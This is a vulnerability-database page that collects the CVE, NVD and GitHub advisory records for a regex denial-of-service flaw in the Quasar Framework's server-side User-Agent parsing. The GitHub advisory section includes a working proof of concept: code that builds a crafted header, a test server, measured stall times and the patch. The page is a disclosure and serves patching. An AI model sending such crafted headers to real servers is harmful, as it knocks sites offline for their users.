Vulnerability-Lookup

CVE-2026-106104 (GCVE-0-2026-106104)

Vulnerability from cvelistv5 – Published: 2026-10-06 17:14 – Updated: 2026-10-09 01:18

Title

Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server

Summary

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-09 01:18 UTC

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7580 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/quasarframework/quasar/securit…	x_refsource_CONFIRM
https://github.com/quasarframework/quasar/commit/…	x_refsource_MISC
https://github.com/quasarframework/quasar/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
quasarframework	quasar	Affected: < 2.23.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-106104",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-09T01:18:25.846526Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-09T01:18:50.675Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "quasar",
          "vendor": "quasarframework",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.23.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333: Inefficient Regular Expression Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-06T17:14:45.817Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
        },
        {
          "name": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
        },
        {
          "name": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
        }
      ],
      "source": {
        "advisory": "GHSA-68jq-fhch-4xq4",
        "discovery": "UNKNOWN"
      },
      "title": "Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-106104",
    "datePublished": "2026-10-06T17:14:45.817Z",
    "dateReserved": "2026-10-06T15:33:55.333Z",
    "dateUpdated": "2026-10-09T01:18:50.675Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-106104",
      "date": "2026-10-08",
      "epss": "0.00291",
      "percentile": "0.19899"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "quasar",
                "vendor": "quasarframework",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.23.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3."
          }
        ],
        "id": "CVE-2026-106104",
        "lastModified": "2026-10-09T02:16:57.307",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-106104",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-09T01:18:25.846526Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-06T18:16:51.687",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-1333"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-106104",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-09T01:18:25.846526Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-09T01:18:46.184Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "quasar",
              "vendor": "quasarframework",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.23.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1333",
                  "description": "CWE-1333: Inefficient Regular Expression Complexity",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-06T17:14:45.817Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
            },
            {
              "name": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
            },
            {
              "name": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
            }
          ],
          "source": {
            "advisory": "GHSA-68jq-fhch-4xq4",
            "discovery": "UNKNOWN"
          },
          "title": "Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-106104",
        "datePublished": "2026-10-06T17:14:45.817Z",
        "dateReserved": "2026-10-06T15:33:55.333Z",
        "dateUpdated": "2026-10-09T01:18:50.675Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-106104

Vulnerability from fkie_nvd - Published: 2026-10-06 18:16 - Updated: 2026-10-09 02:16

Severity

8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d
	security-advisories@github.com	https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3
	security-advisories@github.com	https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "quasar",
          "vendor": "quasarframework",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.23.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3."
    }
  ],
  "id": "CVE-2026-106104",
  "lastModified": "2026-10-09T02:16:57.307",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-106104",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-09T01:18:25.846526Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-06T18:16:51.687",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-68JQ-FHCH-4XQ4

Vulnerability from github – Published: 2026-10-07 16:14 – Updated: 2026-10-07 16:14

Summary

Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server

Details

Summary

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

Platform.parseSSR = ssrContext => {
  const ua =
    ssrContext.req.headers['user-agent'] ||
    ssrContext.req.headers['User-Agent'] ||
    ''

  return { ...client, userAgent: ua, is: getPlatform(ua) }
}

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded .* scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first .* lands on" against "how far the second .* searches for safari". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA   3998 B  ->      554 ms
UA   7998 B  ->     4368 ms      fits nginx default large_client_header_buffers 8k
UA  15998 B  ->    34995 ms      fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From node_modules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
  ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
               return{...F,userAgent:t,is:P(t)}};

Build the header:

const k = 3200                       // filler that maximises the greedy capture
const m = 479                        // "version/" tokens for the first .* to land on
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m)   // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

import http from 'node:http'
import { Platform } from 'quasar'          // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => {
  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does
  res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)
}).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA
  benign UA, GET /                       status=200        13 ms
  benign UA, GET / (2nd)                 status=200         1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length
  same-size benign UA                    status=200         2 ms

[3] POSITIVE - crafted User-Agent
  malicious UA, GET /                    status=200      4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route
  malicious UA, GET /404path             status=200      4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later
  attacker (malicious UA)                status=200      4329 ms
  VICTIM (normal browser, benign UA)     status=200      4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site
  VICTIM during 5-request flood          status=200     21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed node_modules/quasar/dist/quasar.server.prod.js:

-  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms
[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms
[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms
[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)

[3] malicious UA, GET /                  status=200      4354 ms
[5] VICTIM (normal browser, benign UA)   status=200      4269 ms
[6] VICTIM during 5-request flood        status=200     21872 ms
[2] same-size benign UA (7998 B)         status=200         2 ms

Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.23.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "quasar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.23.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T16:14:31Z",
    "nvd_published_at": "2026-10-06T18:16:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOne unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds.\n\nQuasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.\n\n### Details\n\n`Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`):\n\n```js\nPlatform.parseSSR = ssrContext =\u003e {\n  const ua =\n    ssrContext.req.headers[\u0027user-agent\u0027] ||\n    ssrContext.req.headers[\u0027User-Agent\u0027] ||\n    \u0027\u0027\n\n  return { ...client, userAgent: ua, is: getPlatform(ua) }\n}\n```\n\n`getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem:\n\n```js\n/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(userAgent)\n```\n\n`([\\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of \"where `([\\w.]+)` stops\" against \"which `version` occurrence the first `.*` lands on\" against \"how far the second `.*` searches for `safari`\". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.\n\nMeasured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header:\n\n```\nUA   3998 B  -\u003e      554 ms\nUA   7998 B  -\u003e     4368 ms      fits nginx default large_client_header_buffers 8k\nUA  15998 B  -\u003e    34995 ms      fits Node.js default --max-http-header-size 16k\n```\n\nA same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.\n\nClient-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.\n\n### PoC\n\nThe vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `quasar@2.23.1`:\n\n```\nfunction M(e,t){let n=/(edg|edge|edga|edgios)\\/([\\w.]+)/.exec(e)||...\n  ||/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(e)||...\nI.parseSSR=e=\u003e{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;\n               return{...F,userAgent:t,is:P(t)}};\n```\n\nBuild the header:\n\n```js\nconst k = 3200                       // filler that maximises the greedy capture\nconst m = 479                        // \"version/\" tokens for the first .* to land on\nconst ua = 